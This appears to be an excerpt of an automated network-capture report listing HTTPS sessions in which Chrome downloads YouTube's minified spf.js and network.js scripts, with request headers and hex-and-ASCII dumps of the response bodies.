2024-01-17 23:34:56 UTC	1252	IN	Data Raw: 74 68 69 73 2e 73 69 7a 65 3d 74 68 69 73 2e 67 2e 73 69 7a 65 7d 0a 69 66 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 21 61 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 61 7c 7c 21 61 2e 70 72 6f 74 6f 74 79 70 65 2e 65 6e 74 72 69 65 73 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 73 65 61 6c 29 72 65 74 75 72 6e 21 31 3b 74 72 79 7b 76 61 72 20 63 3d 4f 62 6a 65 63 74 2e 73 65 61 6c 28 7b 78 3a 34 7d 29 2c 65 3d 6e 65 77 20 61 28 77 28 5b 63 5d 29 29 3b 69 66 28 21 65 2e 68 61 73 28 63 29 7c 7c 31 21 3d 65 2e 73 69 7a 65 7c 7c 65 2e 61 64 64 28 63 29 21 3d 65 7c 7c 31 21 3d 65 2e 73 69 7a 65 7c 7c 65 2e 61 64 64 28 7b 78 3a 34 7d 29 21 3d 65 7c 7c 32 21 3d 65 2e 73 69 7a 65 29 72 65 74 75 72 6e Data Ascii: this.size=this.g.size}if(function(){if(!a\|\|"function"!=typeof a\|\|!a.prototype.entries\|\|"function"!=typeof Object.seal)return!1;try{var c=Object.seal({x:4}),e=new a(w([c]));if(!e.has(c)\|\|1!=e.size\|\|e.add(c)!=e\|\|1!=e.size\|\|e.add({x:4})!=e\|\|2!=e.size)return
2024-01-17 23:34:56 UTC	1252	IN	Data Raw: 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 68 7d 3b 0a 72 65 74 75 72 6e 20 68 7d 0a 74 28 22 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 76 61 6c 75 65 73 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 7a 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 72 65 74 75 72 6e 20 63 7d 29 7d 7d 29 3b 0a 74 28 22 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 65 6e 64 73 57 69 74 68 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 69 66 28 6e 75 6c 6c 3d 3d 74 68 69 73 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 54 68 65 20 27 74 68 69 73 27 20 76 61 6c 75 65 20 66 Data Ascii: unction(){return h};return h}t("Array.prototype.values",function(a){return a?a:function(){return z(this,function(b,c){return c})}});t("String.prototype.endsWith",function(a){return a?a:function(b,c){if(null==this)throw new TypeError("The 'this' value f
2024-01-17 23:34:56 UTC	1252	IN	Data Raw: 73 65 72 41 67 65 6e 74 29 62 72 65 61 6b 20 61 3b 62 3d 22 22 7d 72 65 74 75 72 6e 2d 31 21 3d 62 2e 69 6e 64 65 78 4f 66 28 61 29 7d 0a 3b 66 75 6e 63 74 69 6f 6e 20 4d 28 29 7b 72 65 74 75 72 6e 20 43 3f 21 21 49 26 26 30 3c 49 2e 62 72 61 6e 64 73 2e 6c 65 6e 67 74 68 3a 21 31 7d 0a 66 75 6e 63 74 69 6f 6e 20 4e 28 29 7b 72 65 74 75 72 6e 20 4d 28 29 3f 4b 28 22 43 68 72 6f 6d 69 75 6d 22 29 3a 28 4c 28 22 43 68 72 6f 6d 65 22 29 7c 7c 4c 28 22 43 72 69 4f 53 22 29 29 26 26 21 28 4d 28 29 3f 30 3a 4c 28 22 45 64 67 65 22 29 29 7c 7c 4c 28 22 53 69 6c 6b 22 29 7d 0a 3b 21 4c 28 22 41 6e 64 72 6f 69 64 22 29 7c 7c 4e 28 29 3b 4e 28 29 3b 4c 28 22 53 61 66 61 72 69 22 29 26 26 28 4e 28 29 7c 7c 28 4d 28 29 3f 30 3a 4c 28 22 43 6f 61 73 74 22 29 29 7c 7c Data Ascii: serAgent)break a;b=""}return-1!=b.indexOf(a)};function M(){return C?!!I&&0<I.brands.length:!1}function N(){return M()?K("Chromium"):(L("Chrome")\|\|L("CriOS"))&&!(M()?0:L("Edge"))\|\|L("Silk")};!L("Android")\|\|N();N();L("Safari")&&(N()\|\|(M()?0:L("Coast"))\|\|
2024-01-17 23:34:56 UTC	1252	IN	Data Raw: 22 70 6b 65 64 63 6a 6b 64 65 66 67 70 64 65 6c 70 62 63 6d 62 6d 65 6f 6d 63 6a 62 65 65 6d 66 6d 22 2c 22 66 6a 68 6f 61 61 63 6f 6b 6d 67 62 6a 65 6d 6f 66 6c 6b 6f 66 6e 65 6e 66 61 69 65 6b 69 66 6c 22 2c 22 65 6e 68 68 6f 6a 6a 6e 69 6a 69 67 63 61 6a 66 70 68 61 6a 65 70 66 65 6d 6e 64 6b 6d 64 6c 6f 22 5d 29 2c 58 3d 0a 4f 62 6a 65 63 74 2e 66 72 65 65 7a 65 28 22 2e 63 6f 72 70 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 20 2e 67 6f 6f 67 6c 65 76 69 64 65 6f 2e 63 6f 6d 20 2e 79 74 69 6d 67 2e 63 6f 6d 20 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 20 2e 67 6f 6f 67 6c 65 73 79 6e 64 69 63 61 74 69 6f 6e 2e 63 6f 6d 20 2e 67 73 74 61 74 69 63 2e 63 6f 6d 20 2e 70 72 6f 64 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 20 2e 67 6f 6f 67 6c 65 2e 72 75 22 2e 73 70 6c 69 74 28 22 20 Data Ascii: "pkedcjkdefgpdelpbcmbmeomcjbeemfm","fjhoaacokmgbjemoflkofnenfaiekifl","enhhojjnijigcajfphajepfemndkmdlo"]),X=Object.freeze(".corp.google.com .googlevideo.com .ytimg.com .google.com .googlesyndication.com .gstatic.com .prod.google.com .google.ru".split("
2024-01-17 23:34:56 UTC	504	IN	Data Raw: 66 5d 22 29 29 29 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 62 29 7b 22 61 6c 74 65 72 6e 61 74 65 22 3d 3d 62 2e 72 65 6c 7c 7c 5a 28 62 2e 68 72 65 66 29 7c 7c 61 2e 61 64 64 28 62 2e 68 72 65 66 29 7d 29 3b 0a 72 65 74 75 72 6e 5b 5d 2e 63 6f 6e 63 61 74 28 78 28 61 29 29 2e 73 6f 72 74 28 29 7d 0a 66 75 6e 63 74 69 6f 6e 20 66 61 28 29 7b 76 61 72 20 61 3d 6e 65 77 20 53 65 74 3b 5b 5d 2e 63 6f 6e 63 61 74 28 78 28 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 73 63 72 69 70 74 22 29 29 29 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 62 29 7b 62 2e 73 72 63 26 26 28 62 3d 64 61 28 62 2e 73 72 63 29 29 26 26 61 2e 61 64 64 28 62 29 7d 29 3b 0a 72 65 74 75 72 6e 5b 5d 2e 63 6f 6e 63 61 74 28 78 28 Data Ascii: f]"))).forEach(function(b){"alternate"==b.rel\|\|Z(b.href)\|\|a.add(b.href)});return[].concat(x(a)).sort()}function fa(){var a=new Set;[].concat(x(document.querySelectorAll("script"))).forEach(function(b){b.src&&(b=da(b.src))&&a.add(b)});return[].concat(x(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.6	49827	142.251.40.238	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:34:56 UTC	1122	OUT	GET /s/desktop/80338919/jsbin/spf.vflset/spf.js HTTP/1.1 Host: www.youtube.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.134" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.134", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.134" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQiPys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw== Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.youtube.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: VISITOR_PRIVACY_METADATA=CgJERRIEEgAgRQ%3D%3D; CONSENT=PENDING+538; __Secure-YEC=CgtiU1BPUHlZdVg5ZyiMyKGtBjIKCgJERRIEEgAgRQ%3D%3D
2024-01-17 23:34:56 UTC	687	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="youtube" Report-To: {"group":"youtube","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/youtube"}]} Content-Length: 40933 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Wed, 17 Jan 2024 15:32:09 GMT Expires: Thu, 16 Jan 2025 15:32:09 GMT Cache-Control: public, max-age=31536000 Last-Modified: Wed, 17 Jan 2024 14:17:14 GMT Content-Type: text/javascript Vary: Accept-Encoding, Origin Age: 28967 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-01-17 23:34:56 UTC	565	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 61 61 28 61 29 7b 76 61 72 20 62 3d 30 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 62 3c 61 2e 6c 65 6e 67 74 68 3f 7b 64 6f 6e 65 3a 21 31 2c 76 61 6c 75 65 3a 61 5b 62 2b 2b 5d 7d 3a 7b 64 6f 6e 65 3a 21 30 7d 7d 7d 76 61 72 20 62 61 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 69 65 73 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 69 66 28 61 3d 3d 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 7c 7c 61 3d 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 29 72 65 74 75 72 6e 20 61 3b 61 5b 62 5d 3d 63 2e 76 61 6c Data Ascii: (function(){function aa(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ba="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.val
2024-01-17 23:34:56 UTC	1252	IN	Data Raw: 20 63 3d 64 61 3b 61 3d 61 2e 73 70 6c 69 74 28 22 2e 22 29 3b 66 6f 72 28 76 61 72 20 64 3d 30 3b 64 3c 61 2e 6c 65 6e 67 74 68 2d 31 3b 64 2b 2b 29 7b 76 61 72 20 65 3d 61 5b 64 5d 3b 69 66 28 21 28 65 20 69 6e 20 63 29 29 62 72 65 61 6b 20 61 3b 63 3d 63 5b 65 5d 7d 61 3d 61 5b 61 2e 6c 65 6e 67 74 68 2d 31 5d 3b 64 3d 63 5b 61 5d 3b 62 3d 62 28 64 29 3b 62 21 3d 64 26 26 6e 75 6c 6c 21 3d 62 26 26 62 61 28 63 2c 61 2c 7b 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 76 61 6c 75 65 3a 62 7d 29 7d 7d 0a 65 61 28 22 53 79 6d 62 6f 6c 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 66 75 6e 63 74 69 6f 6e 20 62 28 66 29 7b 69 66 28 74 68 69 73 20 69 6e 73 74 61 6e 63 65 6f 66 20 62 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 Data Ascii: c=da;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&null!=b&&ba(c,a,{configurable:!0,writable:!0,value:b})}}ea("Symbol",function(a){function b(f){if(this instanceof b)throw new Typ
2024-01-17 23:34:56 UTC	1252	IN	Data Raw: 22 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 65 6e 74 72 69 65 73 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 68 61 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 72 65 74 75 72 6e 5b 62 2c 63 5d 7d 29 7d 7d 29 3b 65 61 28 22 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 6b 65 79 73 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 68 61 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 20 62 7d 29 7d 7d 29 3b 2f 2a 0a 0a 20 43 6f 70 79 72 69 67 68 74 20 54 68 65 20 43 6c 6f 73 75 72 65 20 4c 69 62 72 61 72 79 20 41 75 74 68 6f 72 73 2e 0a 20 53 50 44 Data Ascii: "Array.prototype.entries",function(a){return a?a:function(){return ha(this,function(b,c){return[b,c]})}});ea("Array.prototype.keys",function(a){return a?a:function(){return ha(this,function(b){return b})}});/* Copyright The Closure Library Authors. SPD
2024-01-17 23:34:56 UTC	1252	IN	Data Raw: 2e 63 72 65 61 74 65 50 6f 6c 69 63 79 28 22 67 6f 6f 67 23 68 74 6d 6c 22 2c 7b 63 72 65 61 74 65 48 54 4d 4c 3a 6c 61 2c 63 72 65 61 74 65 53 63 72 69 70 74 3a 6c 61 2c 63 72 65 61 74 65 53 63 72 69 70 74 55 52 4c 3a 6c 61 7d 29 7d 63 61 74 63 68 28 63 29 7b 69 61 2e 63 6f 6e 73 6f 6c 65 26 26 69 61 2e 63 6f 6e 73 6f 6c 65 2e 65 72 72 6f 72 28 63 2e 6d 65 73 73 61 67 65 29 7d 70 61 3d 61 7d 65 6c 73 65 20 70 61 3d 61 7d 72 65 74 75 72 6e 20 70 61 7d 3b 66 75 6e 63 74 69 6f 6e 20 72 61 28 61 2c 62 29 7b 69 66 28 62 21 3d 3d 73 61 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 54 72 75 73 74 65 64 52 65 73 6f 75 72 63 65 55 72 6c 20 69 73 20 6e 6f 74 20 6d 65 61 6e 74 20 74 6f 20 62 65 20 62 75 69 6c 74 20 64 69 72 65 63 74 6c 79 22 29 3b 74 68 69 73 2e 67 3d Data Ascii: .createPolicy("goog#html",{createHTML:la,createScript:la,createScriptURL:la})}catch(c){ia.console&&ia.console.error(c.message)}pa=a}else pa=a}return pa};function ra(a,b){if(b!==sa)throw Error("TrustedResourceUrl is not meant to be built directly");this.g=
2024-01-17 23:34:56 UTC	1252	IN	Data Raw: 6e 20 47 61 28 29 7b 7d 76 61 72 20 48 61 3b 66 75 6e 63 74 69 6f 6e 20 49 61 28 29 7b 7d 66 75 6e 63 74 69 6f 6e 20 4a 61 28 61 2c 62 29 7b 74 68 69 73 2e 67 3d 6e 75 6c 6c 3b 74 68 69 73 2e 76 3d 5b 5d 3b 74 68 69 73 2e 68 3d 28 76 6f 69 64 20 30 3d 3d 3d 62 3f 6e 75 6c 6c 3a 62 29 7c 7c 6e 75 6c 6c 3b 74 68 69 73 2e 6d 3d 5b 5d 3b 74 68 69 73 2e 43 3d 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 61 7d 7d 7d 66 75 6e 63 74 69 6f 6e 20 4b 61 28 61 29 7b 69 66 28 61 2e 67 29 72 65 74 75 72 6e 20 61 2e 67 3b 69 66 28 61 2e 68 29 72 65 74 75 72 6e 20 4b 61 28 61 2e 68 29 3b 6f 61 28 22 52 6f 6f 74 20 6c 6f 67 67 65 72 20 68 61 73 20 6e 6f 20 6c 65 76 65 6c 20 73 65 74 2e 22 29 3b 72 65 74 75 72 6e 20 44 61 7d 66 75 6e 63 74 69 6f 6e 20 4c Data Ascii: n Ga(){}var Ha;function Ia(){}function Ja(a,b){this.g=null;this.v=[];this.h=(void 0===b?null:b)\|\|null;this.m=[];this.C={g:function(){return a}}}function Ka(a){if(a.g)return a.g;if(a.h)return Ka(a.h);oa("Root logger has no level set.");return Da}function L
2024-01-17 23:34:56 UTC	1252	IN	Data Raw: 2b 6a 61 28 62 29 29 2c 62 3d 22 74 79 70 65 5f 65 72 72 6f 72 3a 53 61 66 65 48 74 6d 6c 22 29 3b 61 2e 69 6e 6e 65 72 48 54 4d 4c 3d 62 7d 3b 66 75 6e 63 74 69 6f 6e 20 54 61 28 61 2c 62 29 7b 62 20 69 6e 73 74 61 6e 63 65 6f 66 20 72 61 26 26 62 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 72 61 3f 62 3d 62 2e 67 3a 28 6f 61 28 22 65 78 70 65 63 74 65 64 20 6f 62 6a 65 63 74 20 6f 66 20 74 79 70 65 20 54 72 75 73 74 65 64 52 65 73 6f 75 72 63 65 55 72 6c 2c 20 67 6f 74 20 27 25 73 27 20 6f 66 20 74 79 70 65 20 25 73 22 2c 62 2c 6a 61 28 62 29 29 2c 62 3d 22 74 79 70 65 5f 65 72 72 6f 72 3a 54 72 75 73 74 65 64 52 65 73 6f 75 72 63 65 55 72 6c 22 29 3b 61 2e 73 72 63 3d 62 3b 76 61 72 20 63 2c 64 3b 28 63 3d 28 62 3d 6e 75 6c 6c 3d 3d 28 64 3d 28 63 3d Data Ascii: +ja(b)),b="type_error:SafeHtml");a.innerHTML=b};function Ta(a,b){b instanceof ra&&b.constructor===ra?b=b.g:(oa("expected object of type TrustedResourceUrl, got '%s' of type %s",b,ja(b)),b="type_error:TrustedResourceUrl");a.src=b;var c,d;(c=(b=null==(d=(c=
2024-01-17 23:34:56 UTC	1252	IN	Data Raw: 72 6d 61 6e 63 65 2e 6e 6f 77 3f 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 77 69 6e 64 6f 77 2e 70 65 72 66 6f 72 6d 61 6e 63 65 2e 74 69 6d 69 6e 67 2e 6e 61 76 69 67 61 74 69 6f 6e 53 74 61 72 74 2b 77 69 6e 64 6f 77 2e 70 65 72 66 6f 72 6d 61 6e 63 65 2e 6e 6f 77 28 29 7d 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 28 6e 65 77 20 44 61 74 65 29 2e 67 65 74 54 69 6d 65 28 29 7d 3b 66 75 6e 63 74 69 6f 6e 20 59 61 28 29 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 72 28 61 2c 62 29 7b 69 66 28 61 2e 66 6f 72 45 61 63 68 29 61 2e 66 6f 72 45 61 63 68 28 62 2c 76 6f 69 64 20 30 29 3b 65 6c 73 65 20 66 6f 72 28 76 61 72 20 63 3d 30 2c 64 3d 61 2e 6c 65 6e 67 74 68 3b 63 3c 64 3b 63 2b 2b 29 63 20 69 6e 20 61 26 26 62 2e 63 61 6c 6c 28 76 6f 69 Data Ascii: rmance.now?function(){return window.performance.timing.navigationStart+window.performance.now()}:function(){return(new Date).getTime()};function Ya(){};function r(a,b){if(a.forEach)a.forEach(b,void 0);else for(var c=0,d=a.length;c<d;c++)c in a&&b.call(voi
2024-01-17 23:34:56 UTC	1252	IN	Data Raw: 6e 67 74 68 3b 72 65 74 75 72 6e 5b 61 5b 30 5d 2c 63 3f 22 22 3a 62 2c 63 3f 22 22 3a 61 2e 73 6c 69 63 65 28 31 29 2e 6a 6f 69 6e 28 62 29 5d 7d 66 75 6e 63 74 69 6f 6e 20 66 62 28 29 7b 72 65 74 75 72 6e 22 73 70 66 4e 61 6d 65 22 2e 72 65 70 6c 61 63 65 28 2f 28 5b 41 2d 5a 5d 29 2f 67 2c 22 2d 24 31 22 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 7d 3b 66 75 6e 63 74 69 6f 6e 20 67 62 28 61 29 7b 61 2e 64 61 74 61 26 26 64 62 28 61 2e 64 61 74 61 29 26 26 30 3d 3d 61 2e 64 61 74 61 2e 6c 61 73 74 49 6e 64 65 78 4f 66 28 22 73 70 66 3a 22 2c 30 29 26 26 68 62 28 61 2e 64 61 74 61 2e 73 75 62 73 74 72 69 6e 67 28 34 29 29 7d 66 75 6e 63 74 69 6f 6e 20 68 62 28 61 29 7b 76 61 72 20 62 3d 69 62 5b 61 5d 3b 62 26 26 28 64 65 6c 65 74 65 20 69 62 5b 61 5d Data Ascii: ngth;return[a[0],c?"":b,c?"":a.slice(1).join(b)]}function fb(){return"spfName".replace(/([A-Z])/g,"-$1").toLowerCase()};function gb(a){a.data&&db(a.data)&&0==a.data.lastIndexOf("spf:",0)&&hb(a.data.substring(4))}function hb(a){var b=ib[a];b&&(delete ib[a]
2024-01-17 23:34:56 UTC	1252	IN	Data Raw: 62 5d 3b 61 3d 44 28 29 3b 76 61 72 20 62 3d 70 61 72 73 65 49 6e 74 28 41 5b 22 63 61 63 68 65 2d 6d 61 78 22 5d 2c 31 30 29 3b 62 3d 69 73 4e 61 4e 28 62 29 3f 49 6e 66 69 6e 69 74 79 3a 62 3b 62 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 61 29 2e 6c 65 6e 67 74 68 2d 62 3b 69 66 28 21 28 30 3e 3d 62 29 29 66 6f 72 28 76 61 72 20 63 3d 30 3b 63 3c 62 3b 63 2b 2b 29 7b 76 61 72 20 64 3d 49 6e 66 69 6e 69 74 79 2c 65 3b 66 6f 72 28 65 20 69 6e 20 61 29 69 66 28 61 5b 65 5d 2e 63 6f 75 6e 74 3c 64 29 7b 76 61 72 20 66 3d 65 3b 64 3d 61 5b 65 5d 2e 63 6f 75 6e 74 7d 64 65 6c 65 74 65 20 61 5b 66 5d 7d 7d 66 75 6e 63 74 69 6f 6e 20 70 62 28 61 29 7b 69 66 28 21 28 61 26 26 22 64 61 74 61 22 69 6e 20 61 29 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 62 3d 61 2e 6c Data Ascii: b];a=D();var b=parseInt(A["cache-max"],10);b=isNaN(b)?Infinity:b;b=Object.keys(a).length-b;if(!(0>=b))for(var c=0;c<b;c++){var d=Infinity,e;for(e in a)if(a[e].count<d){var f=e;d=a[e].count}delete a[f]}}function pb(a){if(!(a&&"data"in a))return!1;var b=a.l
2024-01-17 23:34:56 UTC	1252	IN	Data Raw: 3d 61 7c 7c 22 22 3b 64 2e 73 72 63 3d 27 6a 61 76 61 73 63 72 69 70 74 3a 22 22 27 3b 64 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 6e 6f 6e 65 22 3b 63 26 26 28 64 2e 6f 6e 6c 6f 61 64 3d 6e 28 63 2c 6e 75 6c 6c 2c 64 29 29 3b 62 2e 62 6f 64 79 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 64 29 3b 72 65 74 75 72 6e 20 64 7d 3b 66 75 6e 63 74 69 6f 6e 20 78 62 28 61 2c 62 2c 63 29 7b 76 61 72 20 64 3d 6e 75 6c 6c 2c 65 3d 77 69 6e 64 6f 77 2e 68 69 73 74 6f 72 79 2e 73 74 61 74 65 3b 69 66 28 65 29 7b 64 3d 7b 7d 3b 66 6f 72 28 76 61 72 20 66 20 69 6e 20 65 29 64 5b 66 5d 3d 65 5b 66 5d 7d 69 66 28 62 29 66 6f 72 28 66 20 69 6e 20 64 3d 64 7c 7c 7b 7d 2c 62 29 64 5b 66 5d 3d 62 5b 66 5d 3b 79 62 28 21 30 2c 61 2c 64 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 Data Ascii: =a\|\|"";d.src='javascript:""';d.style.display="none";c&&(d.onload=n(c,null,d));b.body.appendChild(d);return d};function xb(a,b,c){var d=null,e=window.history.state;if(e){d={};for(var f in e)d[f]=e[f]}if(b)for(f in d=d\|\|{},b)d[f]=b[f];yb(!0,a,d,c)}function

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.6	49828	142.251.40.238	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:34:56 UTC	1130	OUT	GET /s/desktop/80338919/jsbin/network.vflset/network.js HTTP/1.1 Host: www.youtube.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.134" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.134", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.134" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQiPys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw== Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.youtube.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: VISITOR_PRIVACY_METADATA=CgJERRIEEgAgRQ%3D%3D; CONSENT=PENDING+538; __Secure-YEC=CgtiU1BPUHlZdVg5ZyiMyKGtBjIKCgJERRIEEgAgRQ%3D%3D
2024-01-17 23:34:56 UTC	687	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="youtube" Report-To: {"group":"youtube","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/youtube"}]} Content-Length: 16774 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Wed, 17 Jan 2024 15:32:09 GMT Expires: Thu, 16 Jan 2025 15:32:09 GMT Cache-Control: public, max-age=31536000 Last-Modified: Wed, 17 Jan 2024 14:17:14 GMT Content-Type: text/javascript Vary: Accept-Encoding, Origin Age: 28967 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-01-17 23:34:56 UTC	565	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 61 61 28 61 29 7b 76 61 72 20 62 3d 30 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 62 3c 61 2e 6c 65 6e 67 74 68 3f 7b 64 6f 6e 65 3a 21 31 2c 76 61 6c 75 65 3a 61 5b 62 2b 2b 5d 7d 3a 7b 64 6f 6e 65 3a 21 30 7d 7d 7d 76 61 72 20 6c 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 69 65 73 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 69 66 28 61 3d 3d 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 7c 7c 61 3d 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 29 72 65 74 75 72 6e 20 61 3b 61 5b 62 5d 3d 63 2e 76 61 6c 75 Data Ascii: (function(){function aa(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var l="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.valu
